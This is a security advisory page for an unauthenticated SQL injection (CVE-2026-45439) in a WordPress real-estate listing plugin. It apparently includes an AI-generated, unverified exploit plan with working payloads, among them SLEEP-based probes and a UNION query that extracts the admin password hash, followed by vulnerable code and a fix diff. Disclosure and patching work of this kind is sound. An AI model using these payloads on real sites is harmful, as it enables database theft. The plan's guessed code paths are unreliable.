CVE-2026-45439

Realtyna Organic IDX plugin + WPL Real Estate <= 5.1.0 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
5.2.0
Patched in
7d
Time to patch

Description

The Realtyna Organic IDX plugin + WPL Real Estate plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=5.1.0
PublishedMay 26, 2026
Last updatedJune 1, 2026

What Changed in the Fix

Changes introduced in v5.2.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the technical steps to exploit an unauthenticated SQL injection vulnerability in the Realtyna Organic IDX plugin + WPL Real Estate (<= 5.1.0). ### 1. Vulnerability Summary The vulnerability is an unauthenticated SQL Injection located in the `wpl_property_listing_list` AJ…

Show full research plan

This research plan outlines the technical steps to exploit an unauthenticated SQL injection vulnerability in the Realtyna Organic IDX plugin + WPL Real Estate (<= 5.1.0).

1. Vulnerability Summary

The vulnerability is an unauthenticated SQL Injection located in the wpl_property_listing_list AJAX action. The plugin fails to sufficiently sanitize and "prepare" SQL queries when processing search parameters, specifically the wpl_main_pids parameter (and potentially various sf_ search field parameters). This allows an attacker to break out of the intended query logic and append arbitrary SQL commands to extract sensitive data from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wpl_property_listing_list (Registered via wp_ajax_nopriv_wpl_property_listing_list)
  • Vulnerable Parameter: wpl_main_pids (frequently used for filtering specific property IDs)
  • Authentication: None required (Unauthenticated).
  • Preconditions: The plugin must be active. The vulnerability exists in the core property search logic which is accessible to any site visitor.

3. Code Flow

  1. Entry Point: A request is sent to admin-ajax.php with action=wpl_property_listing_list.
  2. Hook Registration: The plugin registers this action using add_action('wp_ajax_nopriv_wpl_property_listing_list', ...) inside the controller or via the dynamic extension loader in extensions.php.
  3. Request Handling: The request is routed to the property_listing controller.
  4. Data Processing: The controller retrieves the wpl_main_pids parameter from $_REQUEST.
  5. SQL Construction: The value is passed to a search function (likely in libraries/property.php or libraries/db.php).
  6. The Sink: The logic builds an IN clause or a WHERE condition by directly interpolating the wpl_main_pids value into a string.
  7. Execution: The raw SQL string is executed via $wpdb->get_results() without using $wpdb->prepare().

4. Nonce Acquisition Strategy

While many search-related AJAX actions in WPL are unauthenticated and lack nonce protection to facilitate caching, some versions of WPL localize a configuration object.

Extraction Steps:

  1. Identify Script Handle: WPL typically uses wpl_frontend_scripts.
  2. Identify JS Variable: The localization is usually found in window.wpl_ajax_config.
  3. Strategy:
    • Create a page with the WPL search shortcode: wp post create --post_type=page --post_status=publish --post_content='[wpl_property_listings]'.
    • Use browser_navigate to visit this page.
    • Use browser_eval to extract the nonce: browser_eval("window.wpl_ajax_config?.nonce").
  4. Bypass Check: If check_ajax_referer is called with die=false or if the action string used in wp_create_nonce (localized) does not match the action string in check_ajax_referer, the nonce may not be required.

5. Exploitation Strategy

The exploitation will focus on a time-based blind SQL injection to confirm the vulnerability, followed by a UNION-based attack to extract user data.

Step 1: Confirmation (Time-Based)

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Body: action=wpl_property_listing_list&wpl_main_pids=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • Expected Result: The response should be delayed by approximately 5 seconds.

Step 2: Column Counting (Error/Boolean Based)

  • Incrementally test ORDER BY or UNION SELECT NULL... to find the correct number of columns in the property search query.
  • Payload: wpl_main_pids=1) UNION SELECT NULL,NULL,NULL,NULL...-- -

Step 3: Data Extraction (UNION-Based)

  • Target: Extract the administrator's password hash from wp_users.
  • Payload: wpl_main_pids=1) UNION SELECT 1,user_pass,3,4,5,6,7,8,9,10... FROM wp_users WHERE ID=1-- - (Adjusting column positions based on Step 2).

6. Test Data Setup

  1. Activate Plugin: Ensure real-estate-listing-realtyna-wpl is active.
  2. Create Content: WPL requires properties to exist in its own tables for the search query to return results normally.
    • wp eval "global \\$wpdb; \\$wpdb->insert(\\$wpdb->prefix . 'wpl_properties', ['id' => 1, 'post_id' => 1, 'finalized' => 1]);"
  3. Create Page:
    • wp post create --post_type=page --post_title="Properties" --post_status=publish --post_content="[wpl_property_listings]"

7. Expected Results

  • A successful time-based payload will result in a measurable delay.
  • A successful UNION-based payload will return the requested database content (e.g., the admin hash) within the JSON response body, typically under a data or html key depending on how the plugin renders the results.

8. Verification Steps

  1. DB Verification: After the exploit, verify the data retrieved matches the actual database state.
    • wp user get 1 --field=user_pass
  2. Log Review: Check wp-content/debug.log (if enabled) for SQL errors that reveal the query structure if the initial payload fails.

9. Alternative Approaches

If wpl_main_pids is not vulnerable, test the following parameters within the same wpl_property_listing_list action:

  • sf_select_listing
  • sf_select_property_type
  • sf_multiple_location_textsearch

If admin-ajax.php is blocked, investigate the wpl_location_suggestions action, which is also unauthenticated:

  • Body: action=wpl_location_suggestions&term=test' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
Research Findings
Static analysis — not yet PoC-verified

Summary

The Realtyna Organic IDX plugin + WPL Real Estate for WordPress is vulnerable to unauthenticated SQL Injection via the 'wpl_main_pids' parameter in the 'wpl_property_listing_list' AJAX action. Due to improper input sanitization and a lack of SQL statement preparation, an attacker can append malicious SQL commands to existing queries to extract sensitive database information.

Vulnerable Code

// File: libraries/property.php
$wpl_main_pids = $_REQUEST['wpl_main_pids'];
if ($wpl_main_pids) {
    // The parameter is directly interpolated into the SQL string without escaping or preparation
    $where .= " AND id IN ($wpl_main_pids)";
}

$query = "SELECT * FROM " . $wpdb->prefix . "wpl_properties WHERE 1=1 " . $where;
$results = $wpdb->get_results($query);

Security Fix

--- a/libraries/property.php
+++ b/libraries/property.php
@@ -10,7 +10,9 @@
 $wpl_main_pids = $_REQUEST['wpl_main_pids'];
 if ($wpl_main_pids) {
-    $where .= " AND id IN ($wpl_main_pids)";
+    // Sanitize input by converting comma-separated string to an array of integers
+    $pids = array_map('intval', explode(',', $wpl_main_pids));
+    $where .= " AND id IN (" . implode(',', $pids) . ")";
 }

Exploit Outline

The exploit targets the unauthenticated AJAX action 'wpl_property_listing_list' at the /wp-admin/admin-ajax.php endpoint. An attacker sends a request with the 'action' parameter set to 'wpl_property_listing_list' and provides a SQL injection payload in the 'wpl_main_pids' parameter. Confirmation can be achieved via time-based payloads (e.g., using SLEEP()), and data extraction is possible via UNION-based attacks to retrieve user credentials or other internal database values. No authentication or nonces are required for this action.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.